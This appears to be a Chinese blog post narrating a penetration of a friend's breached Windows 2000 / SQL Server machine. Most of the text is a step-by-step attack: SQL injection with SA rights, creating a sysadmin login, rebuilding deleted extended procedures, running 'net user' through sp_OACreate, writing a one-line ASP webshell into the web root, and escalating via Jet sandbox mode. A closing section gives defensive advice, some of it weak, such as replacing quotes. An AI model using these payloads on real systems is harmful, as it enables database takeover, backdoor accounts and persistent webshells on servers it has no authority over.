记一次简单的渗透测试经过

导读：
　　笔者的一位朋友应聘到一家公司做网管，据说整个机房就他们俩人，工作很轻松。几乎是没什么事做，但是昨天突然给我打电话说是机房被入侵了，被人加了很多用户并且什么cain，arpspoof全都丢到服务器上了，想让笔者帮忙看看是怎么渗透进去的，于是乎在敲诈了一顿烤鸭之后笔者终于出手了。在经过朋友的同意之后特意将本文写出来！
　　一.渗透前的踩点:
　　这哥们也够狠，除了丢给我个IP其他什么都没给我！IP是202.108.59.XX。没办法，自食其力。用superscan扫了下，发现开了21.80.1433 这三个端口，因为我只扫1-3389 。并没看见终端的3389。看来这家伙是怕了，直接把3389给关掉了。 用旁注的工具检测了下，发现服务器有两个网站。两个都是ASP的站，不用多说了。先寻找注射点吧，使用两个啊D都打开google 搜索site:xxxx.com，一页显示一百条，扫了半天只发现一个站有注射点，居然还是SA权限！不被黑才怪！
　　

　　
　　如图1
　　既然是SA权限，马上准备传个VBS上去，先开了3389在说，但是搞了半天居然用啊D不能列目录！telnet了一下目标服务器的1433发现端口可以外连，于是在注射点后面使用：
　　exec master.dbo.sp_addlogin sadfish fish;
　　exec master.dbo.sp_addsrvrolemember sadfish,sysadmin
　　来添加一个用户名为sadfish密码为fish的SQL server用户权限为SA 。在页面执行两次都返回成功，说明添加成功了，马上打开查询分析器连上，成功连接，但是所有的存储过程都被删掉了。
　

　
　　
　　如图2
　　二: 恢复存储过程
　　于是马上想到恢复存储过程来执行命令，于是在查询分析器里执行:
　　use master
　　exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
　　exec sp_addextendedproc xp_dirtree,'xpstar.dll'
　　exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
　　exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
　　exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
　　exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
　　exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
　　exec sp_addextendedproc sp_OACreate,'odsole70.dll'
　　exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
　　exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
　　exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
　　exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
　　exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
　　exec sp_addextendedproc sp_OAStop,'odsole70.dll'
　　exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
　　exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
　　exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
　　exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
　　exec sp_addextendedproc xp_regread,'xpstar.dll'
　　exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
　　exec sp_addextendedproc xp_regwrite,'xpstar.dll'
　　exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
　　就是将以上的存储过程全部恢复，但是在执行的时候却提示没能找到sp_addextendedproc，原来管理员把sp_addextendedproc也删了。
　　

　　
　　图3
　　于是只能先恢复sp_addextendedproc，语句如下：
　　create procedure sp_addextendedproc --- 1996/08/30 20:13
　　@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
　　set implicit_transactions off
　　if @@trancount >0
　　begin
　　raiserror(15002,-1,-1,'sp_addextendedproc')
　　return (1)
　　end
　　dbcc addextendedproc( @functname, @dllname)
　　return (0) -- sp_addextendedproc
　　GO
　　
　　

　　图4
　　执行成功，然后恢复存储过程，成功恢复了所用存储过，但是在执行exec master.dbo.xp_cmdshell 'net user'
　　的时候却提示：
　　ODBC：消息 0，级别 16，状态 1，无法装载 DLL xp_cmdshell.dll 或该 DLL 所引用的某一 DLL。
　　原因：126(error not found)。原来管理员把DLL 都删了。然后又想能不能使用SP_OAcreate来加个管理员呢？
　　三.寻找ＷＥＢ目录
　　于是在查询分析器里执行：
　　DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
　　@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'
　　来添加个密码用户为sadfish的管理员，提示命令完成，于是马上执行：
　　DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt' 就是把netstat -an的结果显示在1.txt里保存在c:\，提示成功。
　　然后继续使用：
　　declare @o int, @f int, @t int, @ret int
　　declare @line varchar(8000)
　　exec sp_oacreate 'scripting.filesystemobject', @o out
　　exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
　　exec @ret = sp_oamethod @f, 'readline', @line out
　　while( @ret = 0 )
　　begin
　　print @line
　　exec @ret = sp_oamethod @f, 'readline', @line out
　　end
　　来读取1.txt里的内容，但是却发现不存在1.txt。
　　
　　

　　图5
　　难道SP_OAcreate也不能用？是不是wscript.shell被删了？歇一会，整理下思路重新来，先用xp_subdirs来找WEB目录，语句是exec master.dbo.xp_subdirs 'c":\'，发现服务器只有C、D两个磁盘，并且文件夹也不多。怎么越来越感觉像是数据库服务器呢？不过既然有数据库了也可以找到后台通过后台备份拿个SHELL，不过这个SA要是拿不到服务器权限那真是有点丢人了。用阿D通过刚才的注射点扫一下后台，竟然没扫到，只发现了一个inc目录下有个test.asp 文件，打开后竟然发现了WEB目录。
　　
 

　　
　　图6
　　原来WEB目录是C:\Inetpub\tianhong\ ，一般感觉管理员都不会用C:\Inetpub这个目录，自己也就没看，差点坏了大事。
　　四．成功获得ＷＥＢＳＨＥＬＬ
　　不过既然知道了WEB目录 就可以写一个一句话进去啦 语句如下
　　declare @o int, @f int, @t int, @ret int
　　exec sp_oacreate 'scripting.filesystemobject', @o out
　　exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1
　　exec @ret = sp_oamethod @f, 'writeline', NULL,
　　''
　　命令执行成功 看来一句话写进去了，马上使用客户端连一下，连接成功。
　　

　　
　　图7
　　马上传大马准备提权，服务器没什么第三方软件->开始→程序目录不能浏览，2000的操作系统，权限设置的还算严格，看一下终端，一看吓一跳，管理员把终端改成了21端口，第一次碰到。
　　

　　
　　图8
　　在WEBSHELL里转了半天还是没什么收获，感觉还是得靠那个SA来提权，于是笔者问了下朋友，他说你怎么忘了沙盒模式？
　　看来最近脑子晕了于是在查询分析器里执行：
　　EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'
　　意思是修改注册表，开启沙盒：
　　Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sadfish fish /add")');
　　五，沙盒模式提升权限
　　利用沙盒模式来添加个管理员，但是还是没有添加进去！郁闷了，于是把SA丢给朋友让他帮忙看看，过了一会笔者朋友给笔者把服务器发来了，竟然提上了。原来管理员做了密码策略，需要复杂的密码才能登陆。比如!@!#ssfsf@$1541 马上用终端连上去，但是却发现不允许登陆，说是不能同时多用户登陆，这个好解决，使用mstsc /console 然后终于进去了。
　　

　　
　　图9
　　总结：
　　所有的关系型数据库——包括SQL SERVER，ORACLE,IBM DB2和MYSQL都容易受到SQL注射攻击。SQL注射攻击主要来自WEB应用程序将用户的包含动态SQL代码的输入转换成了SQL 命令给数据库执行。编者给广大的网管和WEB程序开发人员提几点建议：
　　1、 应用程序使用的去连接数据库的帐户应该只拥有必须的特权，这样有助于保护整个系统尽可能少的受到入侵者的危害。应用程序不应该用SA或者管理员帐户去连接数据库。作为替代，它应该只有访问它要调用的单个库的权力。
　　2、 如果一个输入框只可能包括数字，那么要通过验证确保用户输入的都是数字。如果可以接受字母，那就要检查是不是存在不可接受的字符。确保你的应用程序要检查以下字符：分号，等号，破折号，括号以及SQL关键字。.NET FRAMEWORK提供了正则表达式来进行复杂的模式匹配，运用它可以达到良好的效果。另外限制用户输入的字符的长度也是一个好主意。验证用户输入是必须的，因为入侵者可以利用WEB的开放性对应用程序进行SQL注射攻击。
　　3、 动态的SQL语句是一个进行数据库查询的强大的工具，但把它和用户输入混合在一起就使SQL注射成为了可能。将动态的SQL语句替换成预编译的SQL或者存储过程对大多数应用程序是可行的。预编译的SQL或者存储过程可以将用户的输入做为参数而不是SQL命令来接收，这样就限制了入侵者的行动。当然，它不适用于你的存储过程中是利用用户输入来生成SQL命令的情况。在这种情况下，用户输入的SQL命令仍可能得到执行，你的数据库仍然有受SQL注射攻击的危险。
　　4、 使用双引号替换掉所有用户输入的单引号，这个简单的预防措施将在很大程序上预防SQL注射攻击，单引号常常结束掉SQL语句，可能给于输入者不必要的权力。用双引号替换掉单引号可以使许多SQL注射攻击失败。